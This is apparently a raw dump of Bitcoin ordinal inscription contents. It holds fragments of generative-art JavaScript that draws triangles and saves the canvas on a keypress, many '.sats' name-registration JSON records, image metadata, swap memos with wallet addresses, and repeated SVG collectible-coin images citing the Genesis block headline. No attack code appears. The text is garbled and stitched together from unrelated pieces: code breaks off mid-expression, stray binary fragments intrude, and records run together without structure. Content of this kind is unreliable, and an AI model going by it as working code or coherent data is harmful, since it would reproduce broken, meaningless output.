if(y3>1000/ratio){y3-=tr;bmp++} if(dor) {rx1[rc]=x1;ry1[rc]=y1;rx2[rc]=x2;ry2[rc]=y2;rx3[rc]=x3;ry3[rc]=y3;rc++; } else {tx1[tc]=x1;ty1[tc]=y1;tx2[tc]=x2;ty2[tc]=y2;tx3[tc]=x3;ty3[tc]=y3;tc++;} if(bmp>15){bmp=0; x3=y3=500;x1=rir(500,500+tr);y1=rir(500,500+tr);x2=rir(500,500-tr);y2=rir(500,500-M triharder(x3,y3, x1,y1); if(ri(100)>20) triharder(x3,y3, x2,y2); const autoDownloadCanvas = async () => { const element = document.createElement('a') element.setAttribute('download',`Angular-${ofw}x${ofh}-${seed}`) element.style.display = 'none' document.body.appendChild(element) let imageBlob = null imageBlob = await new Promise(resolve => document.getElementById('target').toBlob(resolve, 'image/png')) element.setAttribute('href', window.URL.createObjectURL(imageBlob, { document.body.removeChild(element) document.addEventListener('keypress', async (e) => { e = e || window.event if (e.key === 's') autoDownloadCanvas() if (e.key === 'h') { rz++;if(rz>5)rz=1;drp=0;gi=0;gj=0;await layoutCanvas() } function drawEllipse(ctx,x,y,rx,ry,fill) { ctx.ellipse(x, y, rx, ry, 0, 0, 2 * Math.PI); if (fill) {ctx.fillStyle = fill;ctx.fill();} function dl(ctx,lx,ly,ex,ey,stroke,width) { if (stroke) {ctx.strokeStyle = stroke;} if (width) { ctx.linM ctx.beginPath();ctx.moveTo(lx,ly);ctx.lineTo(ex,ey);ctx.stroke(); if(cp==12)artcols=['#EDECE0','#303030','#880808']; if(cp==0) artcols=['#F0BEB2','#F25B40','#3A8D3B']; if(cp==11)artcols=['#4F97BA','#F9E1B5','#BD2C41']; if(cp==1) artcols=['#25201E','#D3A252','#686C22']; if(cp==2) artcols=['#B4CBCA','#1F5FB3','#355026']; if(cp==3) artcols=['#D1C7C5','#6E5247','#8D695D']; if(cp==4) artcols= ['#E4DBBE','#8BB8B3','#AF799A']; if(cp==5) artcols= ['#B8B8B3','#474747','M if(cp==6) artcols= ['#A6B2C7','#323642','#394A69']; if(cp==7) artcols= ['#E6E6E4','#343523','#B2B2AD']; if(cp==8) artcols= ['#A9A18E','#706B5C','#606A4D']; if(cp==9) artcols= ['#EDECE0','#944645','#F25D34']; if(cp==10) artcols= ['#9FA6A4','#77694E','#B54933']; function ri( x){ return Math.floor(mathRand()*x);} function rir(x,y){ let nr = (y - x) ; return Math.floor((mathRand()*nr) + x); } text/plain;charset=utf-8 +{"p":"sns","op":"reg","name":"phemex.sats"}h! text/plain;charset=utf-8 ({"p":"sns","op":"reg","name":"dcg.sats"}h! text/plain;charset=utf-8 /{"p":"sns","op":"reg","name":"crypto.com.sats"}h! text/plain;charset=utf-8 3{"p":"sns","op":"reg","name":"cryptohongkong.sats"}h! DjB=:ETH.ETH:0xF782318cf057eB38eF04946f4e7991C367c4A34a:13703892:te:0 text/plain;charset=utf-8 *{"p":"sns","op":"reg","name":"11066.sats"}h! text/plain;charset=utf-8 text/plain;charset=utf-8 "name": "dentist.sats" text/plain;charset=utf-8 *{"p":"sns","op":"reg","name":"11063.sats"}h! iTXtXML:com.adobe.xmp " id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 6.0-c006 79.164648, 2021/01/12-15:52:29 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriginM alDocumentID="xmp.did:0043d78d-c5d4-a44a-b0bd-9ac08349d54b" xmpMM:DocumentID="xmp.did:CC9FD4DBB77D11ED86BAC04D1E3C3113" xmpMM:InstanceID="xmp.iid:CC9FD4DAB77D11ED86BAC04D1E3C3113" xmp:CreatorTool="Adobe Photoshop 22.2 (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:559812c9-8c10-5242-aabe-8f421090aaaa" stRef:documentID="adobe:docid:photoshop:de752437-0469-c74e-befe-8c17cec5124d"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?> text/plain;charset=utf-8 *{"p":"sns","op":"reg","name":"bybit.sats"}h! text/plain;charset=utf-8 *{"p":"sns","op":"reg","name":"11062.sats"}h! text/plain;charset=utf-8 *{"p":"sns","op":"reg","name":"11065.sats"}h! text/plain;charset=utf-8 *{"p":"sns","op":"reg","name":"11064.sats"}h! "3 % % 3-7,),7-Q@88@Q^OJO^qeeq "3 % % 3-7,),7-Q@88@Q^OJO^qeeq 4j2DC-L5:WSKkUWKcYOWp3+r9muSAAB5l3Mq2Q013wCl6DHnWn0U= text/plain;charset=utf-8 text/plain;charset=utf-8 "name": "67888.sats" 6j4ion:3.QmetVTiuNEjSAMTJ13nGAvWFUkNnHzSbFeqxhPmCBPgD1r 4j2DC-L5:1MjYeSzD2QeVw84LKky/3OkvEEcijONHoKa6wy2gFMs= text/plain;charset=utf-8 ({"p":"sns","op":"reg","name":"gmt.sats"}h! "name": "tesla.og", "owner": "bc1p650l79657g924zcfcyayzdc6n43p7l7nyc0hhcytdp9dngpnyhpq4rekur", "text":"back to the reborn" text/plain;charset=utf-8 text/plain;charset=utf-8 text/plain;charset=utf-8 IjGREFUND:FA425FC1CF75839D091B6CB07B3AB442A149E129FA9F70C96E0BCF841B7D848C Bj@=:ETH.ETH:0xFBf4c2291dA695881Bb8B6FDdDB5967e31e278B1:13300399::0 text/plain;charset=utf-8 *{"p":"sns","op":"reg","name":"brice.sats"}h! text/plain;charset=utf-8 2{"p":"sns","op":"reg","name":"deltaexchange.sats"}h! text/plain;charset=utf-8 /{"p":"sns","op":"reg","name":"woonetwork.sats"}h! text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"btse.sats"}h! text/plain;charset=utf-8 ,{"p":"sns","op":"reg","name":"coinone.sats"}h! text/plain;charset=utf-8 *{"p":"sns","op":"reg","name":"woofi.sats"}h! text/plain;charset=utf-8 -{"p":"sns","op":"reg","name":"wootrade.sats"}h! text/plain;charset=utf-8 ,{"p":"sns","op":"reg","name":"bitvavo.sats"}h! text/plain;charset=utf-8 "name": "adt.sats" text/plain;charset=utf-8 "name": "adp.sats" text/plain;charset=utf-8 "name": "adw.sats" text/plain;charset=utf-8 "name": "adu.sats" text/plain;charset=utf-8 "name": "adk.sats" text/plain;charset=utf-8 "name": "adm.sats" text/plain;charset=utf-8 "name": "adl.sats" text/plain;charset=utf-8 ({"p":"sns","op":"reg","name":"p2b.sats"}h! text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"kuna.sats"}h! text/plain;charset=utf-8 .{"p":"sns","op":"reg","name":"coinmetro.sats"}h! text/plain;charset=utf-8 "name": "btc3.sats" text/plain;charset=utf-8 .{"p":"sns","op":"reg","name":"coinstore.sats"}h! text/plain;charset=utf-8 -{"p":"sns","op":"reg","name":"deepcoin.sats"}h! text/plain;charset=utf-8 ({"p":"sns","op":"reg","name":"111.sats"}h! text/plain;charset=utf-8 ({"p":"sns","op":"reg","name":"888.sats"}h! text/plain;charset=utf-8 ({"p":"sns","op":"reg","name":"222.sats"}h! text/plain;charset=utf-8 ({"p":"sns","op":"reg","name":"666.sats"}h! text/plain;charset=utf-8 ({"p":"sns","op":"reg","name":"777.sats"}h! text/plain;charset=utf-8 ({"p":"sns","op":"reg","name":"999.sats"}h! text/plain;charset=utf-8 ({"p":"sns","op":"reg","name":"333.sats"}h! text/plain;charset=utf-8 ({"p":"sns","op":"reg","name":"444.sats"}h! text/plain;charset=utf-8 ({"p":"sns","op":"reg","name":"555.sats"}h! 4j2DC-L5:WSKkUWKcYOWp3+r9muSAAB5l3Mq2Q013wCl6DHnWn0U= text/plain;charset=utf-8 +{"p":"sns","op":"reg","name":"hitbtc.sats"}h! text/plain;charset=utf-8 5{"p":"sns","op":"reg","name":"dragonflycapital.sats"}h! =zTXtRaw profile type icc text/plain;charset=utf-8 *{"p":"sns","op":"reg","name":"shima.sats"}h! text/plain;charset=utf-8 .{"p":"sns","op":"reg","name":"dragonfly.sats"}h! text/plain;charset=utf-8 ,{"p":"sns","op":"reg","name":"pantera.sats"}h! text/plain;charset=utf-8 .{"p":"sns","op":"reg","name":"blocklabs.sats"}h! text/plain;charset=utf-8 "name": "ady.sats" text/plain;charset=utf-8 "name": "btc5.sats" text/plain;charset=utf-8 "title": "Satoshi Nakamoto's first word in the first block of Bitcoin network" "url": "https://mempool.space/block/000000000019d6689c085ae165831e934ff763ae46a2a6c172b3f1b60a8ce26f", "body": "TheTimes 03/Jan/2009 Chancellor on brink of secondbailout for banks", "author": "Satoshi Nakamoto" text/plain;charset=utf-8 "name": "milfs.sats" text/plain;charset=utf-8 ({"p":"sns","op":"reg","name":"555.sats"}h! text/plain;charset=utf-8 +{"p":"sns","op":"reg","name":"333ETH.sats"}h! text/plain;charset=utf-8 +{"p":"sns","op":"reg","name":"222ETH.sats"}h! text/plain;charset=utf-8 text/plain;charset=utf-8 "name": "k10.sats" text/plain;charset=utf-8 "name": "happiness.sats" <?xml version="1.0" encoding="UTF-8"?><svg viewBox="-5 -5 120 120" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"><title>SAT 3930503077131</title><desc>collectibles.nullish.org</desc><style>.t { font-family: Courier New; font-size: 2px; } .a {font-family: Courier New; font-size: 5px; font-weight: 400; }</style> <defs> <filter id="a"> <feFlood flood-color="black"/> <feComposite in2="SourceGraphic" operator="out"/> <feGaussianBlur stdDeviation="1"/> <feComposite in2="SourceGraphic" operM ator="atop"/> </filter> <linearGradient id="e" x2="0" y2="122"> <stop stop-color="#db9300" offset="0"/> <stop stop-color="#a26d00" offset=".4"/> </linearGradient> </defs> <circle cx="55" cy="55" r="52" fill="#fecb00" filter="url(#a)"/> <circle cx="55" cy="55" r="43.5" fill="url(#e)"/> <circle cx="55" cy="55" r="43" fill="#db9300" filter="url(#a)"/> <path id="g" d="m7 55a48 48 0 1 0 96 0 48 48 0 1 0-96 0" fill="none"/> <text fill="#946300" text-anchor="middle"><textPath startOffset="25%" font-family="Courier New" foM nt-size="2.5px" font-weight="400" xlink:href="#g" xml:space="preserve">The Times 03/Jan/2009 Chancellor on brink of second bailout for banks</textPath></text> <path id="f" d="m9 50a46 46.5 0 0 1 91.5 0" fill="none"/> <text fill="#946300" text-anchor="middle"><textPath class="a" startOffset="50%" xlink:href="#f" xml:space="preserve">BLOCK 786 SAT 3930503077131 JANUARY 2009</textPath></text> <g transform="scale(0.05)translate(800,600)" fill="#db9300" filter="drop-shadow(0px 15px 0px rgb(0 0 0 / 0.4))"> <path d="MM 642.5 635c0 50.6-16.8 97.4-44.9 135-12.9 17-28 32.2-45.1 45.1-26.2 19.6-56.8 33.7-90 40.4-14.5 3-29.6 4.5-45 4.5v90h-90v-90h-45v90h-90v-90h-135v-90h360c15.8 0 30.9-2.7 45-7.7 52.4-18.5 90-68.5 90-127.3s-37.6-108.8-90-127.3c-14.1-5-29.2-7.7-45-7.7h-315V230h-45v-90h135V50h90v90h45V50h90v95.7c15.9 4.1 31 10.4 45 18.5 27.3 15.8 50.1 38.6 65.9 65.9 15.4 26.5 24.1 57.2 24.1 90h-90c0-33.3-18.1-62.4-45-77.9-13.2-7.7-28.6-12.1-45-12.1h-180v180h225c15.4 0 30.5 1.5 45 4.5 18 3.7 35.1 9.5 51.3 17.1 13.8 6.5 26.7 14.3 38.8 23.3LV 17 12.9 32.2 28 45.1 45.1 28 37.5 44.8 84.3 44.8 134.9z" fill="#fecb00"/> </g> </svg>h! <?xml version="1.0" encoding="UTF-8"?><svg viewBox="-5 -5 120 120" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"><title>SAT 3930503078531</title><desc>collectibles.nullish.org</desc><style>.t { font-family: Courier New; font-size: 2px; } .a {font-family: Courier New; font-size: 5px; font-weight: 400; }</style> <defs> <filter id="a"> <feFlood flood-color="black"/> <feComposite in2="SourceGraphic" operator="out"/> <feGaussianBlur stdDeviation="1"/> <feComposite in2="SourceGraphic" operM ator="atop"/> </filter> <linearGradient id="e" x2="0" y2="122"> <stop stop-color="#db9300" offset="0"/> <stop stop-color="#a26d00" offset=".4"/> </linearGradient> </defs> <circle cx="55" cy="55" r="52" fill="#fecb00" filter="url(#a)"/> <circle cx="55" cy="55" r="43.5" fill="url(#e)"/> <circle cx="55" cy="55" r="43" fill="#db9300" filter="url(#a)"/> <path id="g" d="m7 55a48 48 0 1 0 96 0 48 48 0 1 0-96 0" fill="none"/> <text fill="#946300" text-anchor="middle"><textPath startOffset="25%" font-family="Courier New" foM nt-size="2.5px" font-weight="400" xlink:href="#g" xml:space="preserve">The Times 03/Jan/2009 Chancellor on brink of second bailout for banks</textPath></text> <path id="f" d="m9 50a46 46.5 0 0 1 91.5 0" fill="none"/> <text fill="#946300" text-anchor="middle"><textPath class="a" startOffset="50%" xlink:href="#f" xml:space="preserve">BLOCK 786 SAT 3930503078531 JANUARY 2009</textPath></text> <g transform="scale(0.05)translate(800,600)" fill="#db9300" filter="drop-shadow(0px 15px 0px rgb(0 0 0 / 0.4))"> <path d="MM 642.5 635c0 50.6-16.8 97.4-44.9 135-12.9 17-28 32.2-45.1 45.1-26.2 19.6-56.8 33.7-90 40.4-14.5 3-29.6 4.5-45 4.5v90h-90v-90h-45v90h-90v-90h-135v-90h360c15.8 0 30.9-2.7 45-7.7 52.4-18.5 90-68.5 90-127.3s-37.6-108.8-90-127.3c-14.1-5-29.2-7.7-45-7.7h-315V230h-45v-90h135V50h90v90h45V50h90v95.7c15.9 4.1 31 10.4 45 18.5 27.3 15.8 50.1 38.6 65.9 65.9 15.4 26.5 24.1 57.2 24.1 90h-90c0-33.3-18.1-62.4-45-77.9-13.2-7.7-28.6-12.1-45-12.1h-180v180h225c15.4 0 30.5 1.5 45 4.5 18 3.7 35.1 9.5 51.3 17.1 13.8 6.5 26.7 14.3 38.8 23.3LV 17 12.9 32.2 28 45.1 45.1 28 37.5 44.8 84.3 44.8 134.9z" fill="#fecb00"/> </g> </svg>h! <?xml version="1.0" encoding="UTF-8"?><svg viewBox="-5 -5 120 120" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"><title>SAT 3930503078031</title><desc>collectibles.nullish.org</desc><style>.t { font-family: Courier New; font-size: 2px; } .a {font-family: Courier New; font-size: 5px; font-weight: 400; }</style> <defs> <filter id="a"> <feFlood flood-color="black"/> <feComposite in2="SourceGraphic" operator="out"/> <feGaussianBlur stdDeviation="1"/> <feComposite in2="SourceGraphic" operM ator="atop"/> </filter> <linearGradient id="e" x2="0" y2="122"> <stop stop-color="#db9300" offset="0"/> <stop stop-color="#a26d00" offset=".4"/> </linearGradient> </defs> <circle cx="55" cy="55" r="52" fill="#fecb00" filter="url(#a)"/> <circle cx="55" cy="55" r="43.5" fill="url(#e)"/> <circle cx="55" cy="55" r="43" fill="#db9300" filter="url(#a)"/> <path id="g" d="m7 55a48 48 0 1 0 96 0 48 48 0 1 0-96 0" fill="none"/> <text fill="#946300" text-anchor="middle"><textPath startOffset="25%" font-family="Courier New" foM nt-size="2.5px" font-weight="400" xlink:href="#g" xml:space="preserve">The Times 03/Jan/2009 Chancellor on brink of second bailout for banks</textPath></text> <path id="f" d="m9 50a46 46.5 0 0 1 91.5 0" fill="none"/> <text fill="#946300" text-anchor="middle"><textPath class="a" startOffset="50%" xlink:href="#f" xml:space="preserve">BLOCK 786 SAT 3930503078031 JANUARY 2009</textPath></text> <g transform="scale(0.05)translate(800,600)" fill="#db9300" filter="drop-shadow(0px 15px 0px rgb(0 0 0 / 0.4))"> <path d="MM 642.5 635c0 50.6-16.8 97.4-44.9 135-12.9 17-28 32.2-45.1 45.1-26.2 19.6-56.8 33.7-90 40.4-14.5 3-29.6 4.5-45 4.5v90h-90v-90h-45v90h-90v-90h-135v-90h360c15.8 0 30.9-2.7 45-7.7 52.4-18.5 90-68.5 90-127.3s-37.6-108.8-90-127.3c-14.1-5-29.2-7.7-45-7.7h-315V230h-45v-90h135V50h90v90h45V50h90v95.7c15.9 4.1 31 10.4 45 18.5 27.3 15.8 50.1 38.6 65.9 65.9 15.4 26.5 24.1 57.2 24.1 90h-90c0-33.3-18.1-62.4-45-77.9-13.2-7.7-28.6-12.1-45-12.1h-180v180h225c15.4 0 30.5 1.5 45 4.5 18 3.7 35.1 9.5 51.3 17.1 13.8 6.5 26.7 14.3 38.8 23.3LV 17 12.9 32.2 28 45.1 45.1 28 37.5 44.8 84.3 44.8 134.9z" fill="#fecb00"/> </g> </svg>h! text/plain;charset=utf-8 <?xml version="1.0" encoding="UTF-8"?><svg viewBox="-5 -5 120 120" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"><title>SAT 3930503078231</title><desc>collectibles.nullish.org</desc><style>.t { font-family: Courier New; font-size: 2px; } .a {font-family: Courier New; font-size: 5px; font-weight: 400; }</style> <defs> <filter id="a"> <feFlood flood-color="black"/> <feComposite in2="SourceGraphic" operator="out"/> <feGaussianBlur stdDeviation="1"/> <feComposite in2="SourceGraphic" operM ator="atop"/> </filter> <linearGradient id="e" x2="0" y2="122"> <stop stop-color="#db9300" offset="0"/> <stop stop-color="#a26d00" offset=".4"/> </linearGradient> </defs> <circle cx="55" cy="55" r="52" fill="#fecb00" filter="url(#a)"/> <circle cx="55" cy="55" r="43.5" fill="url(#e)"/> <circle cx="55" cy="55" r="43" fill="#db9300" filter="url(#a)"/> <path id="g" d="m7 55a48 48 0 1 0 96 0 48 48 0 1 0-96 0" fill="none"/> <text fill="#946300" text-anchor="middle"><textPath startOffset="25%" font-family="Courier New" foM nt-size="2.5px" font-weight="400" xlink:href="#g" xml:space="preserve">The Times 03/Jan/2009 Chancellor on brink of second bailout for banks</textPath></text> <path id="f" d="m9 50a46 46.5 0 0 1 91.5 0" fill="none"/> <text fill="#946300" text-anchor="middle"><textPath class="a" startOffset="50%" xlink:href="#f" xml:space="preserve">BLOCK 786 SAT 3930503078231 JANUARY 2009</textPath></text> <g transform="scale(0.05)translate(800,600)" fill="#db9300" filter="drop-shadow(0px 15px 0px rgb(0 0 0 / 0.4))"> <path d="MM 642.5 635c0 50.6-16.8 97.4-44.9 135-12.9 17-28 32.2-45.1 45.1-26.2 19.6-56.8 33.7-90 40.4-14.5 3-29.6 4.5-45 4.5v90h-90v-90h-45v90h-90v-90h-135v-90h360c15.8 0 30.9-2.7 45-7.7 52.4-18.5 90-68.5 90-127.3s-37.6-108.8-90-127.3c-14.1-5-29.2-7.7-45-7.7h-315V230h-45v-90h135V50h90v90h45V50h90v95.7c15.9 4.1 31 10.4 45 18.5 27.3 15.8 50.1 38.6 65.9 65.9 15.4 26.5 24.1 57.2 24.1 90h-90c0-33.3-18.1-62.4-45-77.9-13.2-7.7-28.6-12.1-45-12.1h-180v180h225c15.4 0 30.5 1.5 45 4.5 18 3.7 35.1 9.5 51.3 17.1 13.8 6.5 26.7 14.3 38.8 23.3LV 17 12.9 32.2 28 45.1 45.1 28 37.5 44.8 84.3 44.8 134.9z" fill="#fecb00"/> </g> </svg>h! text/plain;charset=utf-8 "name": "andylau.sats" <?xml version="1.0" encoding="UTF-8"?><svg viewBox="-5 -5 120 120" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"><title>SAT 3930503077431</title><desc>collectibles.nullish.org</desc><style>.t { font-family: Courier New; font-size: 2px; } .a {font-family: Courier New; font-size: 5px; font-weight: 400; }</style> <defs> <filter id="a"> <feFlood flood-color="black"/> <feComposite in2="SourceGraphic" operator="out"/> <feGaussianBlur stdDeviation="1"/> <feComposite in2="SourceGraphic" operM ator="atop"/> </filter> <linearGradient id="e" x2="0" y2="122"> <stop stop-color="#db9300" offset="0"/> <stop stop-color="#a26d00" offset=".4"/> </linearGradient> </defs> <circle cx="55" cy="55" r="52" fill="#fecb00" filter="url(#a)"/> <circle cx="55" cy="55" r="43.5" fill="url(#e)"/> <circle cx="55" cy="55" r="43" fill="#db9300" filter="url(#a)"/> <path id="g" d="m7 55a48 48 0 1 0 96 0 48 48 0 1 0-96 0" fill="none"/> <text fill="#946300" text-anchor="middle"><textPath startOffset="25%" font-family="Courier New" foM nt-size="2.5px" font-weight="400" xlink:href="#g" xml:space="preserve">The Times 03/Jan/2009 Chancellor on brink of second bailout for banks</textPath></text> <path id="f" d="m9 50a46 46.5 0 0 1 91.5 0" fill="none"/> <text fill="#946300" text-anchor="middle"><textPath class="a" startOffset="50%" xlink:href="#f" xml:space="preserve">BLOCK 786 SAT 3930503077431 JANUARY 2009</textPath></text> <g transform="scale(0.05)translate(800,600)" fill="#db9300" filter="drop-shadow(0px 15px 0px rgb(0 0 0 / 0.4))"> <path d="MM 642.5 635c0 50.6-16.8 97.4-44.9 135-12.9 17-28 32.2-45.1 45.1-26.2 19.6-56.8 33.7-90 40.4-14.5 3-29.6 4.5-45 4.5v90h-90v-90h-45v90h-90v-90h-135v-90h360c15.8 0 30.9-2.7 45-7.7 52.4-18.5 90-68.5 90-127.3s-37.6-108.8-90-127.3c-14.1-5-29.2-7.7-45-7.7h-315V230h-45v-90h135V50h90v90h45V50h90v95.7c15.9 4.1 31 10.4 45 18.5 27.3 15.8 50.1 38.6 65.9 65.9 15.4 26.5 24.1 57.2 24.1 90h-90c0-33.3-18.1-62.4-45-77.9-13.2-7.7-28.6-12.1-45-12.1h-180v180h225c15.4 0 30.5 1.5 45 4.5 18 3.7 35.1 9.5 51.3 17.1 13.8 6.5 26.7 14.3 38.8 23.3LV 17 12.9 32.2 28 45.1 45.1 28 37.5 44.8 84.3 44.8 134.9z" fill="#fecb00"/> </g> </svg>h! <?xml version="1.0" encoding="UTF-8"?><svg viewBox="-5 -5 120 120" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"><title>SAT 3930503077331</title><desc>collectibles.nullish.org</desc><style>.t { font-family: Courier New; font-size: 2px; } .a {font-family: Courier New; font-size: 5px; font-weight: 400; }</style> <defs> <filter id="a"> <feFlood flood-color="black"/> <feComposite in2="SourceGraphic" operator="out"/> <feGaussianBlur stdDeviation="1"/> <feComposite in2="SourceGraphic" operM ator="atop"/> </filter> <linearGradient id="e" x2="0" y2="122"> <stop stop-color="#db9300" offset="0"/> <stop stop-color="#a26d00" offset=".4"/> </linearGradient> </defs> <circle cx="55" cy="55" r="52" fill="#fecb00" filter="url(#a)"/> <circle cx="55" cy="55" r="43.5" fill="url(#e)"/> <circle cx="55" cy="55" r="43" fill="#db9300" filter="url(#a)"/> <path id="g" d="m7 55a48 48 0 1 0 96 0 48 48 0 1 0-96 0" fill="none"/> <text fill="#946300" text-anchor="middle"><textPath startOffset="25%" font-family="Courier New" foM nt-size="2.5px" font-weight="400" xlink:href="#g" xml:space="preserve">The Times 03/Jan/2009 Chancellor on brink of second bailout for banks</textPath></text> <path id="f" d="m9 50a46 46.5 0 0 1 91.5 0" fill="none"/> <text fill="#946300" text-anchor="middle"><textPath class="a" startOffset="50%" xlink:href="#f" xml:space="preserve">BLOCK 786 SAT 3930503077331 JANUARY 2009</textPath></text> <g transform="scale(0.05)translate(800,600)" fill="#db9300" filter="drop-shadow(0px 15px 0px rgb(0 0 0 / 0.4))"> <path d="MM 642.5 635c0 50.6-16.8 97.4-44.9 135-12.9 17-28 32.2-45.1 45.1-26.2 19.6-56.8 33.7-90 40.4-14.5 3-29.6 4.5-45 4.5v90h-90v-90h-45v90h-90v-90h-135v-90h360c15.8 0 30.9-2.7 45-7.7 52.4-18.5 90-68.5 90-127.3s-37.6-108.8-90-127.3c-14.1-5-29.2-7.7-45-7.7h-315V230h-45v-90h135V50h90v90h45V50h90v95.7c15.9 4.1 31 10.4 45 18.5 27.3 15.8 50.1 38.6 65.9 65.9 15.4 26.5 24.1 57.2 24.1 90h-90c0-33.3-18.1-62.4-45-77.9-13.2-7.7-28.6-12.1-45-12.1h-180v180h225c15.4 0 30.5 1.5 45 4.5 18 3.7 35.1 9.5 51.3 17.1 13.8 6.5 26.7 14.3 38.8 23.3LV 17 12.9 32.2 28 45.1 45.1 28 37.5 44.8 84.3 44.8 134.9z" fill="#fecb00"/> </g> </svg>h! text/plain;charset=utf-8 <?xml version="1.0" encoding="UTF-8"?><svg viewBox="-5 -5 120 120" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"><title>SAT 3930503077031</title><desc>collectibles.nullish.org</desc><style>.t { font-family: Courier New; font-size: 2px; } .a {font-family: Courier New; font-size: 5px; font-weight: 400; }</style> <defs> <filter id="a"> <feFlood flood-color="black"/> <feComposite in2="SourceGraphic" operator="out"/> <feGaussianBlur stdDeviation="1"/> <feComposite in2="SourceGraphic" operM ator="atop"/> </filter> <linearGradient id="e" x2="0" y2="122"> <stop stop-color="#db9300" offset="0"/> <stop stop-color="#a26d00" offset=".4"/> </linearGradient> </defs> <circle cx="55" cy="55" r="52" fill="#fecb00" filter="url(#a)"/> <circle cx="55" cy="55" r="43.5" fill="url(#e)"/> <circle cx="55" cy="55" r="43" fill="#db9300" filter="url(#a)"/> <path id="g" d="m7 55a48 48 0 1 0 96 0 48 48 0 1 0-96 0" fill="none"/> <text fill="#946300" text-anchor="middle"><textPath startOffset="25%" font-family="Courier New" foM nt-size="2.5px" font-weight="400" xlink:href="#g" xml:space="preserve">The Times 03/Jan/2009 Chancellor on brink of second bailout for banks</textPath></text> <path id="f" d="m9 50a46 46.5 0 0 1 91.5 0" fill="none"/> <text fill="#946300" text-anchor="middle"><textPath class="a" startOffset="50%" xlink:href="#f" xml:space="preserve">BLOCK 786 SAT 3930503077031 JANUARY 2009</textPath></text> <g transform="scale(0.05)translate(800,600)" fill="#db9300" filter="drop-shadow(0px 15px 0px rgb(0 0 0 / 0.4))"> <path d="MM 642.5 635c0 50.6-16.8 97.4-44.9 135-12.9 17-28 32.2-45.1 45.1-26.2 19.6-56.8 33.7-90 40.4-14.5 3-29.6 4.5-45 4.5v90h-90v-90h-45v90h-90v-90h-135v-90h360c15.8 0 30.9-2.7 45-7.7 52.4-18.5 90-68.5 90-127.3s-37.6-108.8-90-127.3c-14.1-5-29.2-7.7-45-7.7h-315V230h-45v-90h135V50h90v90h45V50h90v95.7c15.9 4.1 31 10.4 45 18.5 27.3 15.8 50.1 38.6 65.9 65.9 15.4 26.5 24.1 57.2 24.1 90h-90c0-33.3-18.1-62.4-45-77.9-13.2-7.7-28.6-12.1-45-12.1h-180v180h225c15.4 0 30.5 1.5 45 4.5 18 3.7 35.1 9.5 51.3 17.1 13.8 6.5 26.7 14.3 38.8 23.3LV 17 12.9 32.2 28 45.1 45.1 28 37.5 44.8 84.3 44.8 134.9z" fill="#fecb00"/> </g> </svg>h! text/plain;charset=utf-8 -{'p': 'sns', 'op': 'reg', 'name': 'lwy.sats'}h! <?xml version="1.0" encoding="UTF-8"?><svg viewBox="-5 -5 120 120" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"><title>SAT 3930503078131</title><desc>collectibles.nullish.org</desc><style>.t { font-family: Courier New; font-size: 2px; } .a {font-family: Courier New; font-size: 5px; font-weight: 400; }</style> <defs> <filter id="a"> <feFlood flood-color="black"/> <feComposite in2="SourceGraphic" operator="out"/> <feGaussianBlur stdDeviation="1"/> <feComposite in2="SourceGraphic" operM ator="atop"/> </filter> <linearGradient id="e" x2="0" y2="122"> <stop stop-color="#db9300" offset="0"/> <stop stop-color="#a26d00" offset=".4"/> </linearGradient> </defs> <circle cx="55" cy="55" r="52" fill="#fecb00" filter="url(#a)"/> <circle cx="55" cy="55" r="43.5" fill="url(#e)"/> <circle cx="55" cy="55" r="43" fill="#db9300" filter="url(#a)"/> <path id="g" d="m7 55a48 48 0 1 0 96 0 48 48 0 1 0-96 0" fill="none"/> <text fill="#946300" text-anchor="middle"><textPath startOffset="25%" font-family="Courier New" foM nt-size="2.5px" font-weight="400" xlink:href="#g" xml:space="preserve">The Times 03/Jan/2009 Chancellor on brink of second bailout for banks</textPath></text> <path id="f" d="m9 50a46 46.5 0 0 1 91.5 0" fill="none"/> <text fill="#946300" text-anchor="middle"><textPath class="a" startOffset="50%" xlink:href="#f" xml:space="preserve">BLOCK 786 SAT 3930503078131 JANUARY 2009</textPath></text> <g transform="scale(0.05)translate(800,600)" fill="#db9300" filter="drop-shadow(0px 15px 0px rgb(0 0 0 / 0.4))"> <path d="MM 642.5 635c0 50.6-16.8 97.4-44.9 135-12.9 17-28 32.2-45.1 45.1-26.2 19.6-56.8 33.7-90 40.4-14.5 3-29.6 4.5-45 4.5v90h-90v-90h-45v90h-90v-90h-135v-90h360c15.8 0 30.9-2.7 45-7.7 52.4-18.5 90-68.5 90-127.3s-37.6-108.8-90-127.3c-14.1-5-29.2-7.7-45-7.7h-315V230h-45v-90h135V50h90v90h45V50h90v95.7c15.9 4.1 31 10.4 45 18.5 27.3 15.8 50.1 38.6 65.9 65.9 15.4 26.5 24.1 57.2 24.1 90h-90c0-33.3-18.1-62.4-45-77.9-13.2-7.7-28.6-12.1-45-12.1h-180v180h225c15.4 0 30.5 1.5 45 4.5 18 3.7 35.1 9.5 51.3 17.1 13.8 6.5 26.7 14.3 38.8 23.3LV 17 12.9 32.2 28 45.1 45.1 28 37.5 44.8 84.3 44.8 134.9z" fill="#fecb00"/> </g> </svg>h! <?xml version="1.0" encoding="UTF-8"?><svg viewBox="-5 -5 120 120" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"><title>SAT 